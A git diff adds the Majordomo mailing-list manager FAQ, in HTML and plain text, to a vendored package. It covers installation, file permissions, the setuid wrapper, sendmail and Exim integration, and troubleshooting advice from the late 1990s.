    + +There have been many reports from Linux users complaining about +duplicate mail. The problem seems to be that flock() under +Linux is broken. This may be fixed in a future release, but +for now in sendmail's conf.h in the #ifdef __linux__ +section add a line #define HASFLOCK 0. There +are also reports that some versions of the libc have problems, +and that linking with the libresolv.a from a recent BIND version +will work around the problem.
    +[ Please let me know if you have any more information --ed ] + +

    4.4 - How do I gate my list to and/or from a newsgroup?

    +The easiest method is to use a program called newsgate. +You can find it at ftp://ftp.isc.org/isc/inn/contrib/. +Installation instructions are straightforward, it provides sample entries +for your newsfeeds/sys file and aliases entries. The newsgate +package includes news2mail and mail2news. + +

    4.5 - How can I improve Majordomo's performance?

    +

    Mail to list throughput

    + +Majordomo does very little except pass each message to the list through +'resend', and then pass it on to your mailer for distribution. Improving +your mailer is the first step towards improving speed of delivery of mail +to the list. Upgrading your sendmail to version 8.x +will improve things greatly, as this version has a lot of enhancements +which use connections more efficiently. For most lists, this +is enough. Majordomo itself doesn't use very much in the way of +resources except perhaps memory. Adding more memory will help if +your machine does a lot of paging +during mail delivery.

    + +Using other mailers instead of sendmail has met with varying success. +Exim can also be used (see +http://www.exim.org/). qmail has +been used with +majordomo, and performance with either Exim or qmail I'm told generally will +well exceed that of sendmail. At least qmail also is written in a far more +secure way +than sendmail (some would say paranoid). See +http://www.qmail.org. +The qmail site includes at least one way to get majordomo to work with +qmail. Note that it is possible to get majordomo working under +qmail without using the 'wrapper', which is a nice idea. Some +majordomo-under-qmail solutions just involve qmail's sendmail emulation +feature. For more info, see the +Using +Majordomo with qmail FAQ, written by Russ Allbery.

    + +If you are using Exim instead of sendmail there +are more things you can do. Instead of concealing the -outgoing +addresses, it is possible to configure Exim so that those addresses are +only usable by the local majordomo user. A description of how to do +that can be found at +http://www.netmaster.ca/exim/majordomo.html as well +as other information about configuring majordomo with Exim.

    + +If your lists are very large you may try installing bulk_mailer, by +Keith Moore. It pre-sorts the list into chunks grouped by site, and +passes the resulting chunks off to individual sendmail processes for +delivery (see note next paragraph). Get it from +ftp://cs.utk.edu/pub/moore/bulk_mailer/. It installs simply by replacing your usual -outgoing +alias with (line wrapped for clarity): +

    +sample-outgoing: |"/path/to/bulk_mailer owner-sample@your.site
    +    /path/to/lists/sample"
    +
    + +bulk_mailer has reportedly resulted in dramatic speedups in delivery times, +on the order of several times faster. Note this works just as well on +digested lists as well as normal lists. bulk_mailer did have one +problem. Until version 1.3 it didn't understand parenthesized comments +in addresses, resulting in incorrect sorting and reduced performance. Your +list must be configured with strip=yes in the list configuration +file if you don't upgrade to 1.3 or higher.

    + +TLB is another package which is like bulk_mailer, but has other +features. You can get it from +ftp://ftp.hpc.uh.edu/pub/tlb/. +The advantage of TLB is its greater configuration flexibility, and +also the fact that it's possible with TLB to eliminate the -outgoing +address, making configuration easier and lists more secure.

    + +The restrict_post list option with large lists can cause a significant +slowdown in mail delivery, since resend has to do a sequential search +through the subscription list for each mail sent to the list (to +verify that the sender is subscribed to the list). Think twice about +using this option with very large lists. + +

    Majordomo command processing

    +Most of the improvements in this are experimental and not widely +available or not yet completed but scheduled for future releases. Some +areas include: improvements in shlock.pl to use exponential backoffs to +reduce contention and starvation of locks, using some sort of dbz-style +database for subscription lists to speed up subscribe and unsubscribe +commands, and changes in the configuration file system to allow faster +parsing and faster execution of certain commands such as "lists". +If you are interested in working on improvements in this area, +join the majordomo-workers list mentioned above. If you make +any specific patches or additions available, please let me know so +I can add references to it here. + +

    4.6 - How can I handle X.400 addresses?

    +Majordomo by default treats addresses starting with "/" as "hostile", +and won't let people subscribe. This is to prevent someone +from subscribing a majordomo-owned filename to the list, and being +able to write by sending mail to the list. Unfortunately, all +X.400 addresses begin with a "/". See the $no_x400at and $no_true_x400 +variables and the associated comments in the majordomo.cf. There +is a reported bug in 1.94 - you may need to change both tests for +these variables in majordomo.pl to put "main'" before them. Like this: +
    +        if (!$main'no_x400at) {
    +
    +
    +        if (!$main'no_true_x400) {
    +
    +

    +This is fixed in Majordomo 1.94.1 and higher.

    + +

    4.7 - Why is the Subject of my messages missing?

    +[from Dave Wolfe]
    +But it's not. Oh, you probably mean "Why is the subject line of +messages to my moderated list blank?" Because you didn't include any +headers after the Approved: header in the body of the messages. Or you +deleted them when you approved the bounced messages.

    + +When resend finds an Approved: header in the first line of the body, it +throws away all the headers it's collected for the message and looks for +more headers following the Approved: header (which is the format of a +bounced message). So if you put the Approved: header in an original +message (as opposed to a bounced message), you have to also fill in some +headers to be sent out, such as Subject:, To:, and From:.

    + +See section Question 3.10 on how to approve messages +to moderated lists.

    + +This is also explained in Doc/list-owner-info, which should be sent +to all list owners and moderators.

    + +

    4.8 - I'm getting mail from majordomo with "BOUNCE:" what do I do? How do I stop this?

    +Whenever majordomo encounters mail to the list which it sees a problem with, +it forwards it to person at the approval address to deal with manually. +There are lots of reasons Majordomo does this. Majordomo will tell you +why in the Subject of the message. Here's a list of the most common +bounce reasons:

    + +An "Admin request" bounce means that the list is configured to filter +out what it thinks are "administrivia" messages, and it thought that +message was one. These are messages such as "subscribe" or "unsubscribe" +or "help", which get sent to the list instead of majordomo. Lists generally +have this turned on by default. If you don't like it, set "administrivia=no" +in the list config file. If that doesn't work, check your aliases to make +sure the "-s" option to resend isn't being used on that list.

    + +An "Approval required" bounce means that the list is moderated, and +the message needs to be approved. (see section 3.10 of this FAQ)

    + +A "Message too long" bounce means that the message was longer than +the "maxlength" setting in the list config file.

    + +If you get any of these bounces messages and you think the mail is OK +to send to the list, you'll need to approve it. See the file +Doc/list-owner-info on the correct procedure(s) for approving mail with +Majordomo. It's also covered in section 3.10 of this +FAQ. + +

    4.9 - My list configuration doesn't seem to be working.

    +If you changed your list configuration and the list doesn't seem to be +behaving any differently, make sure that the list is being sent through +"resend". See the installation documentation and section 3.1 +of this FAQ on how to set up the aliases for the list correctly to pipe mail +through "resend".

    + +Other things to check would be that the arguments to "resend" are only +"-h", and "-l" (and perhaps "-C" if you use virtual domains). resend +used to be configured with other command line flags to do things such as +have moderated lists. However these flags override any config file +settings, so remove them if they are present. All configuration should +be done now through the config file.

    + +

    4.10 - How do I set it up so that the originator of a message doesn't get a copy of his/her own message back?

    +You can't. Sorry. The "metoo" setting in sendmail has no effect after +a message is piped through an external program. Unless you're willing to +give up piping messages through "resend", there's no way to stop this. +

    +

    4.11 - With Smail or Exim, users subscribing to a list sometimes get mail sent before they subscribed

    +[from Lazlo Nibble and Philip Hazel]
    +This is due to the way Smail and Exim deliver mail. With sendmail, +it expands its delivery list when the mail first arrives. If the +list gets changed, the message will still get delivered to the original +recipient list, since the original list is never referred to again. +As sendmail delivers mail, it removes addresses from its expanded list +as they get delivered.

    + +However Smail and Exim don't expand the list when the message is first +queued. Instead as they go through the queue of pending messages to deliver, +and maintain state on what addresses they have successfully delivered mail +to and compare that with the current list contents. As long +as the message is queued waiting for one or more addresses in the list, it +will get sent to any new recipients whenever the queue gets processed next. +This is rather unexpected for those used to sendmail's behavior.

    + +The advantage of smail and exim's approach is that if an address in +your list is unreachable (or has a bad .forward file), you can change +the list contents (or the .forward file) and the message will be delivered +to the new address when the queue next gets processed. It won't deliver +to the old, bad address.

    + +There really isn't an easy solution to this, but it's really not a serious +problem.

    + +

    4.12 - Majordomo doesn't seem to work with sendmail 8.9

    +The new security features of sendmail don't allow :include: directories +to be group writable. Unfortunately, by default these directories are +group writable with Majordomo. If you have this problem you will +see errors from sendmail like "Cannot open /path/name: Group writable +directory" and "aliasing/forwarding loop broken".

    + +One solution is to add:

    +

    +O DontBlameSendmail=groupwritabledirpathsafe
    +
    +in your sendmail.cf and restart sendmail.

    + +The other method (and generally the recommended one) is to remove the +group-write bit on the lists directory and any list files. Make sure +also any parent directories to not have the group or other write bit +set. If Majordomo is working correctly having group write permission +is not necessary. However, some people find it convenient to have +group-write access so users can be put in the majordomo group and not +need root access all the time to work on majordomo. + +

    4.13 - I can't get Majordomo to work with RedHat Linux

    + +If you are trying to use the Majordomo RPM, it is broken. The +majordomo.cf which comes with the RPM has the line +
    +$whereami = `hostname`;
    +
    + +This is broken for two reasons. First, the hostname may not necessarily +be a fully-qualified domain name, and thus this won't generate a valid +Internet email address. Secondly, using `hostname` generates +a linefeed character at the end, which totally screws things up, and you +end up getting blank lines in headers (and you'll start to see headers +appear in the body of the message).

    + +The solution is to edit the line and put in your correct host name +or mail domain.

    + +A bug report has been filed with RedHat.

    + +RedHat 5.2 also ships with an interim (buggy) release of Perl, which +does not work with Majordomo. (you will get "Unknown mailer error 9" +errors). Download and install the updated Perl RPM from +ftp://updates.redhat.com/. + + + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/majordomo-faq.txt b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/majordomo-faq.txt new file mode 100644 index 0000000..6ab513d --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/majordomo-faq.txt @@ -0,0 +1,1350 @@ +Version: $Id: majordomo-faq.txt,v 1.3 2000/01/13 12:54:32 cwilson Exp $ +URL: http://www.visi.com/~barr/majordomo-faq.html +Archive-Name: mail/majordomo-faq +Posting-Frequency: monthly + +Note: This FAQ has been recently updated to be exclusively for Majordomo +1.94 and up. + +Table of Contents: + + 1. What is Majordomo and how can I get it? + o 1.1 - What is Majordomo? + o 1.2 - Where do I get Majordomo? + o 1.3 - How do I install it? + o 1.4 - How do I upgrade from an earlier release? + o 1.5 - Where do I report bugs or get help with Majordomo? + o 1.6 - Which is better, Majordomo or LISTSERV? + o 1.7 - How can I access Majordomo via the Web? + o 1.8 - Is Majordomo Y2K (Year 2000) compliant? + 2. Problems setting up Majordomo + o 2.1 - What are the proper permissions and ownership of all + Majordomo files and directories? + o 2.2 - I get a MAJORDOMO ABORT with "chown(...): Not owner" or ".. + Operation not permitted" + o 2.3 - I get "sh: wrapper: cannot execute" or "wrapper: permission + denied" + o 2.4 - I get "Unknown mailer error" when majordomo runs + o 2.5 - I get an error "insecure usage" from the wrapper + o 2.6 - I get "majordomo: No such file or directory" from the + wrapper + o 2.7 - I get an error "Can't locate majordomo.pl" + o 2.8 - I told my majordomo.cf where to archive the list, why isn't + it working? + o 2.9 - config-test can't seem to find ctime.pl or resend can't find + getopts.pl + o 2.10 - A list is visible via lists, but can't subscribe or 'get' + files + o 2.11 - I get "sh: wrapper not available for sendmail programs" + o 2.12 - I get "aliasing/forwarding loop broken" + 3. Setting up mailing lists and aliases + o 3.1 - How do I direct bounces to the right address? + o 3.2 - Semi-automated handling of bounced mail + o 3.3 - What's this Owner-List and List-Owner stuff? Why both? + o 3.4 - How should I configure resend for Reply-To headers? + o 3.5 - How can I hide lists so they can't be viewed by 'lists'? + o 3.6 - How can I restrict a list such that only subscribers can + send mail to the list? + o 3.7 - Can I have the list owner or approval person be changeable + without intervention from the Majordomo owner? + o 3.8 - What are all these different passwords? + o 3.9 - How do I tell majordomo to handle "get"-ing of binary files? + o 3.10 - How do I set up a moderated list? How do I approve + messages? + o 3.11 - How do I set up a digested version of a list? + o 3.12 - How do I setup virtual majordomo domains? + o 3.13 - How can I stop people from using my mailing list to spam my + subscribers? + 4. Mailer and list administration problems + o 4.1 - Address with blanks are being treated separately + o 4.2 - Why aren't my digests going out? + o 4.3 - Why do I get duplicate mail sent to the list? + o 4.4 - How do I gate my list to and/or from a newsgroup? + o 4.5 - How can I improve Majordomo's performance? + o 4.6 - How can I handle X.400 addresses? + o 4.7 - Why is the Subject of my messages missing? + o 4.8 - I'm getting mail from majordomo with "BOUNCE:" what do I do? + How do I stop this? + o 4.9 - My list configuration doesn't seem to be working. + o 4.10 - How do I set it up so that the originator of a message + doesn't get a copy of his/her own message back? + o 4.11 - With Smail or Exim, users subscribing to a list sometimes + get mail sent before they subscribed + o 4.12 - Majordomo doesn't seem to work with sendmail 8.9 + o 4.13 - I can't get Majordomo to work with RedHat Linux + +This FAQ is Copyright 1996 by David Barr and The Ohio State University. This +document may be reproduced, so long as it is kept in its entirety and in its +original format. + +Credits: +This FAQ originally written by Vincent D. Skahan. Many thanks to the members +of the majordomo-workers and majordomo-users mailing lists for many of the +questions and answers found in this FAQ. Thanks to fen@comedia.com (Fen +Labalme) for getting an HTML version started. + +You can get an HTML version of this FAQ on the World Wide Web at +http://www.visi.com/~barr/majordomo-faq.html. You can request a copy by +email by sending a message to mail-server@rtfm.mit.edu, with the following +text in the body: + +send usenet/comp.mail.list-admin.software/Majordomo_Frequently_Asked_Questions + +If you have any questions or submissions regarding this FAQ, send them to +barr@visi.com (David Barr). + + ------------------------------------------------------------------------ + +Section 1: What is Majordomo and how can I get it? + +1.1 - What is Majordomo? + +Majordomo is a program which automates the management of Internet mailing +lists. Commands are sent to Majordomo via electronic mail to handle all +aspects of list maintenance. Once a list is set up, virtually all operations +can be performed remotely, requiring no intervention upon the postmaster of +the list site. + +See the main Majordomo web page at: +http://www.greatcircle.com/majordomo/ + +Majordomo controls a list of addresses for some mail transport system (like +sendmail or smail) to handle. Majordomo itself performs no mail delivery +(though it has scripts to format and archive messages). + + majordomo - n: a person who speaks, makes arrangements, or takes + charge for another. From latin "major domus" - "master of the + house". + +Majordomo is written in Perl. It will work with Perl 4.036 or Perl 5.002 or +greater. It will not work with Perl 5.001!!!. It is recommended that you use +the latest release of Perl that you can get. You can find it at +http://www.perl.com/perl/. You must upgrade to version 1.94.3 in order for +it to work with Perl 5.004, due to changes in regular expressions. +Unfortunately, Majordomo does NOT work with Perl 5.005_01, due to a bug in +Perl with respect to regular expressions. Use Perl 5.005_02 (or greater). +While Majordomo is still compatible with Perl 4.036, future versions will +likely be Perl 5 only. + +RedHat 5.2 is unfortunately shipping a prerelease version of Perl +("5.004m4") with some of their Linux distributions. This version is buggy +and won't work with Majordomo (you will get "Unknown mailer error 9" +errors). Download an install the 5.004 or 5.005 RPM instead, or download and +updated RPM from updates.redhat.com. Many people have been having problems +with Majordomo on DEC OSF/1 AXP systems. Apparently Perl on the Alphas is +not as stable as compared to other platforms, and Majordomo tickles bugs in +that port of Perl. If you are having problems, please make sure you are +running the very latest version of Perl (version 5.002 is known to work). +There haven't been recent reports in this area, so it's assumed that later +versions also work. + +There have also been reported problems with the native compiler for AIX +3.2.5. Perl compiled with that compiler will crash when running Majordomo +(even though it passes all the regression tests), however if you compile +Perl with gcc it will work. + +Majordomo was developed under UNIX based systems, but could be made to work +on others. If you can get Perl to compile and run cleanly on your system, +and can send Internet mail by piping or calling an external program (and +that external program reads its list of recipients from a plain text file), +you can probably get Majordomo to work on a wide variety of UNIX-based and +non-UNIX based systems. There is no known port of Majordomo to Windows NT, +Win95 or Mac. For more information, see the comp.os.msdos.mail-news FAQ. At +last check there was a port of an old version (1.93) to MS-DOS/Waffle, and +an old version (1.93) ported to OS/2. These probably aren't all that helpful +for anyone porting Majordomo to NT. + +Here's a short list of some of the features of Majordomo. + + * supports various types of lists, including moderated ones. + * List options can be set easily through a configuration file, editable + remotely. + * Supports archival and remote retrieval of messages. + * Supports digests. + * Written in Perl, - easily customizable and expandable. + * Modular in design. + * Includes support for FTPMAIL. + * Supports confirmation of subscriptions (to protect against forged + subscription requests). + * List filters + +See other references throughout this FAQ for some further notes on using +these packages. + +1.2 - Where do I get Majordomo? + +Via the Web at: +http://www.greatcircle.com/majordomo/ Via anonymous FTP at: +ftp://ftp.greatcircle.com/pub/majordomo/ +ftp://ftp.sgi.com/other/majordomo/ +ftp://ftp.sgi.com/other/majordomo/ + +The current version is 1.94.4. It includes a security fix for a bug found in +1.94.3 and prior. + +If you don't have Perl, you can get it from: + +http://www.perl.com/perl/ + +Use that link for more information about Perl, too. The FTPMAIL package can +be found in ftp://src.doc.ic.ac.uk/packages/ftpmail or any comp.sources.misc +archive (volume 37). + +Majordomo 2 is currently being developed by Jason Tibbits. Currently it's +"alpha" quality. Join the majordomo-workers list (see below) if you want to +use this release. You can find out how to get Majordomo 2, as well as +information about this release at http://www.hpc.uh.edu/majordomo/ + +1.3 - How do I install it? + +Majordomo comes with a rather extensive INSTALL file. Read this file +completely. There's also a README file which covers some common problems. +This FAQ is meant to be a supplement to Majordomo's documentation, not a +replacement for it. If you have any questions that this FAQ doesn't cover, +chances are that it is covered in the documentation in the Majordomo +distribution. For anyone who is going to run a list, you must read +Doc/list-owner-info before trying to do anything. If you don't have access +to the system where your list is being run, the Majordomo maintainer who set +up your list should have sent it to you. Bug him if he didn't, or download +it from the Majordomo distribution. + +If you have permission problems unpacking the distribution, try using the +'o' flag to tar to ignore user/group information. + +Although Majordomo is written in Perl, it does have one component written in +C that must be compiled. This 'wrapper' program runs "setuid" and ensures +that all Majordomo functions operate with the proper permissions. You will +need root access to install this program with the correct privileges. + +Majordomo interfaces to the mail system (sendmail, exim, etc) through +aliases. Adding aliases is generally a root-bound process. However, on some +systems the process can be delegated to a separate file under your control. + +Once you get past the above two requirements, it is possible to maintain +Majordomo lists without root access. At best, your local sysadmin would only +be bothered twice -- once for the installation, and once for designating a +separate alias file for your use. + +Majordomo 1.x is designed to work with sendmail, however will work with +other UNIX-based mailers. For more information on setting up Majordomo with +other mailers, see the following pages: + + * qmail - ftp://ftp.eyrie.org/pub/software/majordomo/mjqmail + * exim - http://www.netmaster.ca/exim/majordomo.html + * Netscape Messaging Server 2.x and 3.x - + http://interstroom.nl/docs/nsmajordomo + * Cyrus IMAP - see "Sendmail can't mail to a file or pipe..." at + http://andrew2.andrew.cmu.edu/cyrus/imapd/install-FAQ.html#sendmail. + This is necessary because Majordomo works by delivering mail via pipe. + +1.4 - How do I upgrade from an earlier release? + +Be sure to browse the "Changelog" file to get an idea what has changed. +There currently is no canned set of instructions for upgrading from an +earlier release. The most straightforward method is to simply install the +current release in a different directory, (with the same list/archive/digest +directories) and change the mail aliases for each list to use the new +Majordomo scripts as soon as you feel comfortable with the new setup. + +Be careful when upgrading to 1.94 that you update your $mailer and +$bounce_mailer variables in your majordomo.cf! There are some other new +variables too. You may want to update the list .config files so they contain +any new variables found in the new release. You just need to do a +'writeconfig' for each list, and majordomo will update the .config file +using the existing values in the old .config file. Any new variables will be +set to defaults for a new list. + +1.5 - Where do I report bugs or get help with Majordomo? + +Please DO NOT ask the FAQ maintainer for help on Majordomo. I will +accidentally delete your message. I'm sorry, I don't have time to do +consulting on Majordomo. I am not a Majordomo help service. I, along with +many others, do answer questions on the mailing lists. Let me say that about +90% of the answers I get are from the documentation or this FAQ. Many of the +rest are answered by reading the source. It's really not that hard to figure +out. The remainder of the questions I get are usually sendmail questions, +which really should be asked in comp.mail.sendmail. + +If you need help, there is a mailing list majordomo-users@greatcircle.com, +which is frequented by lots of users of Majordomo. Report actual bugs to +majordomo-workers@greatcircle.com. It's a good idea to search or browse the +list archives below for the last couple months since many of the same +questions are asked (and answered) regularly. There are searchable list +archives (thanks to Jason Tibbitts) at +http://www.hpc.uh.edu/majordomo-users/ and +http://www.hpc.uh.edu/majordomo-workers/. + +Be sure always to include which version of Majordomo you are using. You +should also include what operating system you are using, what version of +Perl, and what mailer (sendmail, smail, qmail, etc) and version you are +using, especially if you can't get Majordomo to work at all. But first, you +must have thoroughly read the ALL the documentation in the Majordomo +distribution and this FAQ. If you got this FAQ from the Majordomo +distribution or anywhere except from the WWW site at the top of this +document it is probably not the most recent version. + +There is an FTP site for unofficial patches. See +http://sol.ccsf.cc.ca.us/ftp/majordomo-patches/ . What's in it? Messages +that are saved from the majordomo-users and -workers mailing lists. There +are INDEX files in each part with one-line summaries of each patch, and a +README file in the top directory with overall information. If you have +patches that you think should be in the archive, you can FTP or email them +in. The top-level README file tells how to do it. Please contribute -- to +save other people the headaches you had. NOTE: The patches are NOT +"official" patches approved by Chan Wilson or anyone else. Use your own +judgment before (and after) you apply them. + +Nick Perry also has various patches for 1.94.3 at +ftp://ftp.amulation.co.uk/pub/majordomo_patches/. They are patches which add +various functions to majordomo. + +Do NOT ask questions about Majordomo on the list-managers@greatcircle.com +list. That list is for general discussions about running mailing lists, not +for help on specific packages. The same goes for the Usenet group +comp.mail.list-admin.policy. + +There is a good guide for people running majordomo lists at +http://docuspace.uchicago.edu/dpc/general/g_maj-adm.html. + +Look for a great book out now from O'Reilly and Associates called "Managing +Mailing Lists", by Alan Schwartz. You can read my review of the book at +http://www.visi.com/~barr/managing-maillist-review.html. I was one of the +book's technical reviewers. You can order the book at a discount (currently +20%) from amazon.com via the web: + + * http://www.amazon.com/exec/obidos/ASIN/156592259X/greatcircleassoc + +Besides getting you the book at a discounted price, using this link earns +Great Circle Associates a small commission, which helps pay for their +support of the majordomo and list-managers mailing lists, as well as +distributing majordomo on their FTP site. + +1.6 - Which is better, Majordomo or LISTSERV? + +For a good comparison of various mailing list managers (MLM's) there's a +good FAQ by Norm Aleks. It is posted monthly to news.answers and +comp.mail.list-admin.software. It's also mirrored at the following URL. +http://www.faqs.org/faqs/mail/list-admin/software-faq. Contact +naleks@library.ummed.edu (Norm Aleks) for more information. + +1.7 - How can I access Majordomo via the Web? + +There are various Web interfaces to Majordomo available. Some are management +interfaces for list maintenance, and some are interfaces for list archives +(some do searching too). + + * LWGate - http://www.netspace.org/users/dwb/lwgate.html + * Regan's - http://www.peak.org/peak_info/mlists/Majordomo.html + * MajorCool - http://ncrinfo.ncr.com/pub/contrib/unix/MajorCool/ Link + dead.. it looks like it's supposed to be moved to + http://www.ncr.com/pub/software/MajorCool/. + * MailServ - http://www.csicop.org/~fitz/www/mailserv/ + * Pandora - http://www.ed.umuc.edu/pandora/ + * Maitre-d - http://www.landw.com/wps/content2.htm#ch12 + * Marcos' - http://www.inf.utfsm.cl/~marcos/majordomo/www.html + * ListTool - http://www.listtool.com/ + * Wilma (a list archive interface) - + ftp://sol.ccsf.cc.ca.us/majordomo-contrib/ + * ListQuest ( a list archive and search interface) - + http://lq.corenetworks.com/ + +1.8 - Is Majordomo Y2K (Year 2000) compliant? + +The current release of Majordomo has no known year 2000 issues. Older +versions had problems only if you used the "archive" program to maintain +list archives, since it used only a 2-digit year. If you use the new 4-digit +year flags to archive you should not have any year 2000 problems. + +No one has officially certified Majordomo to be Y2K compliant, and I don't +foresee anyone paying money to do so, so don't go looking for someone to sue +if it breaks. All we are saying is that we know of no year 2000 issues with +Majordomo. + +That being said, as you can see by reading the Majordomo source, except for +the "archive" program majordomo doesn't directly deal with dates so it's +extremely unlikely there are any year 2000 issues. Even places where it does +use dates (archive) it doesn't do any date comparisons, which is the crux of +all non-cosmetic year 2000 bugs. At worst "archive" would overwrite your +100-year-old mailing list archives. I really really doubt Majordomo will +still be used for 100 years. + + ------------------------------------------------------------------------ + +Section 2: Problems setting up Majordomo + +2.1 - What are the proper permissions and ownership of all Majordomo files +and directories? + +By far the biggest problem in setting up Majordomo is getting all the +permissions and ownerships right. In part this is due to the security model +that Majordomo uses, and it's also due to the fact that it's hard to +automate this process. Once you install majordomo, run "./wrapper +config-test" as some other user (like you) and read the results. Do NOT run +"./wrapper config-test" as 'root' or your 'majordom' user. That will defeat +the test of the wrapper operation. The config-test script will check your +installation for correct permissions (as well as other tests) and report any +problems. It's not quite perfect, but it catches 95% of all problems. + +Majordomo works by using a small C "wrapper" which works by allowing it to +always run as the "majordom" user and group that you create. (note that the +wrapper may disappear in a future release, since its function could safely +be replaced by features found in Perl 5) You can use a different name than +"majordom" for your user and group, but that is what is assumed for the +explanations found in this document. The 1.94.3 INSTALL file suggests using +'daemon' as your majordomo group. This is the group that 'sendmail' runs as, +and allows you to have $homedir permissions set to 750. This has the +disadvantage in environments where there may be one or more administrators +of the Majordomo system or where you don't want to always have to 'su' to +the majordomo user to do administration. (you don't really want to put other +normal users in the 'daemon' group for security reasons) If you create a +separate 'majordom' group and add yourself and other majordomo +administrators to it, then you'll need to make sure the $homedir and wrapper +have world execute permission, and you may have to add 'majordom' to the +'trusted' list of users in your sendmail.cf. (otherwise sendmail 8.x will +probably give "X-Authentication-Warning:"'s) + +Because Majordomo does not run with any "special" (root) privileges, and +because of the fact that Majordomo does a lot of .lock-style locking (with +shlock.pl), permissions on all files and directories are critical to the +correct operation of Majordomo. + +The wrapper + +The wrapper is compiled in one of two ways, by uncommenting the correct +section in the Makefile for your type of system. If you are unsure if your +system is POSIX or not, I would suggest you assume that your system is not. +(The default is POSIX) If things don't work right (for example you get +symptoms of permission problems or you get an error from the wrapper saying +to recompile using POSIX flags), then try POSIX. + +Some systems which are non-POSIX: SunOS 4.x, Ultrix, most BSD 4.2 and +4.3-based systems. POSIX systems include: Solaris 2.x, IRIX 5.x, BSDI (and +other 4.4 BSD-based systems), Linux. + +Make sure W_PATH is right in the Makefile. On IRIX 5.x, you need to add +/usr/bsd to the W_PATH to get the hostname (needed by Perl) command. (IRIX +doesn't have a /usr/ucb). If you are on a non-POSIX system, the wrapper must +be both suid and sgid (mode 6755) to "majordom". It must not be setuid root! + +OR + +On a POSIX system the wrapper must be setuid root, and double-check that +W_USER and W_GROUP are the uid and gid of the "majordom" user and group. +Don't ever set W_USER to be 0! + +Then compile the wrapper and install it. Do not install the wrapper on an +NFS filesystem mounted with the "nosuid" option set. This will prevent the +wrapper from working. + +Majordomo files + +All files that majordomo creates will be mode 660, user "majordom", group +"majordom" if it is running correctly (see $config_umask in the +majordomo.cf). The "Log" file that Majordomo writes logging information to +must have this same permission and ownership. Make sure any files you create +by hand (.config, subscription lists) have this same permission and +ownership. (they can also be mode 664 if you don't need the contents to be +private to others) The permissions/ownership of the Majordomo programs and +related files themselves aren't as critical, but the must all be readable to +the "majordom" user/group. All Majordomo programs (majordomo, resend, etc.) +must have the execute bit set. All Majordomo programs must have the correct +path to Perl in the #! line in the beginning of the script. The 'make +install' process should do this all automatically for you. + +Majordomo directories + +All directories under Majordomo's control ($homedir, $listdir, +$digest_work_dir, $filedir, as defined in your majordomo.cf) must be at +least mode 750 (or 755 if you don't use "daemon" as your majordomo group -- +see 2.3below.). They should be user and group owned by "majordom". If want +to allow a local user to be able to directly modify files or for example +copy files into a list's archive directory, you may make the directory or +file owned by that user. However directories and files must be then +group-"majordom" writable (770 or 775). + +2.2 - I get a MAJORDOMO ABORT with "chown(...): Not owner" or ".. Operation +not permitted" + +Most likely your wrapper is not installed correctly. Re-check the Makefile +and see if the wrapper was compiled with the right UID and GID. See the +README and the above section on how to set the permissions correctly. Make +sure after you fix the wrapper that you remove (or rename) any +"listname.new" or "L.listname" files found in your lists directory. These +will likely have the wrong ownerships, and cause you problems. + +You should have seen an error if you ran "./wrapper config-test" as a +non-root, non-majordom user. If not, it's a bug in config-test and should be +fixed. + +2.3 - I get "sh: wrapper: cannot execute" or "wrapper: permission denied" + +This is a bug in the 1.94 Makefile. You'll see this in new installs of +Majordomo if you don't use a majordomo group of 'daemon'. The majordomo +$homedir needs to have permission of at least 751 (or 755), not 750. +Otherwise, sendmail won't have permission to execute the wrapper. You'll +need to do a 'chmod 755 $homedir' after you install majordomo. Make sure +'wrapper' also has world execute permission. Some people also have put the +user 'daemon' in the 'majordom' group. This works too. + +2.4 - I get "Unknown mailer error" when majordomo runs + +First, see Question 4.13 if you are running RedHat 5.2 and are getting +"Unknown mailer error 9". + +If something is wrong with your setup, the wrapper will often exit with +various return codes depending on what the problem is. In order to really +understand what is going on, look at the session transcript further down in +the bounce message to see the error which is returned from the wrapper or +from Majordomo. You should usually see some sort of error message. If you +just get a return code, check the Majordomo README for further explanation +on sendmail return codes. If you get "Unknown mailer error XX" where XX is +less than 255, look for the error in /usr/include/errno.h . Otherwise, see +the README. + +See section 1.1 above for what versions of Perl won't work with Majordomo. + +[reported by Russell Street] +You may also get problems when messages to majordomo are queued (for example +if you change sendmail's behavior to always queue messages rather than +perform immediate delivery). The problem was that if sendmail queues a +message it smashes the case in command lines and addresses when the queue +gets processed. This is in spite of the lines shown by mailq. This is +sendmail 5.x on Solaris 2.3, but it might apply to other versions of +sendmail. + +2.5 - I get an error "insecure usage" from the wrapper + +The argument to "wrapper" should be simply be the command, not the full path +to the command. "wrapper" has where to look compiled in to it (the "W_HOME" +setting in the Makefile) and for security reasons will not let you specify +another directory. + +Your alias should say for example: + +majordomo: |"/path/to/majordomo/wrapper majordomo" + +2.6 - I get "majordomo: No such file or directory" from the wrapper + +Make sure that the #! statement at the beginning of all the Majordomo Perl +executables contain the correct path to the perl program (the default is +/usr/local/bin/perl). Note many UNIXes have a 32 character limit on that +path -- make sure it doesn't exceed this limit. Make sure also that +majordomo and all the related scripts are in the W_HOME directory as defined +in the Makefile when you compiled the wrapper. + +2.7 - I get an error "Can't locate majordomo.pl" + +[from Brent Chapman] +Majordomo adds "$homedir" from the majordomo.cf file to the @INC array +before it goes looking for "majordomo.pl". Since it's not finding it, I'd +guess you have one of two problems: + +1) $homedir is set improperly (or not set at all; there is no default) in +your majordomo.cf file. + +2) majordomo.pl is not in $homedir, or is not readable. + +[from John P. Rouillard] +3) Note that the new majordomo.cf file checks to see if the environment +variable $HOME is set first, and uses that for $homedir. Since the wrapper +always sets HOME to the correct directory, you get a nice default, unless +you are running a previously built wrapper, in which case you may get the +wrong directory. + +[from Andreas Fenner] +4) I had the same problem when I installed majordomo (1.62). My Problem was +a missing ";" in the majordomo.cf file - just in the line before setting +homedir .... My hint for you: Check your perl-files carefully. + +2.8 - I told my majordomo.cf where to archive the list, why isn't it +working? + +[From John Rouillard] +The archive variables in majordomo.cf aren't used to archive anything. You +have to use a separate archive program, or a sendmail alias to do the +archiving. The info is used to generate a directory where the archive files +are being placed by some other mechanism. + +You are telling majordomo to look in the directory: +/usr/local/mail/majordomo/archive/listname + +for files that it should allow to be retrieved using the get command. + +Majordomo comes with three different archive programs that run under wrapper +that do various types of archiving. Look in the contrib directory. + +2.9 - config-test can't seem to find ctime.pl or resend can't find +getopts.pl + +ctime.pl and getopts.pl are included in the standard Perl distribution. If +it can't find it, it means Perl was not installed correctly. Re-install +Perl. (you may 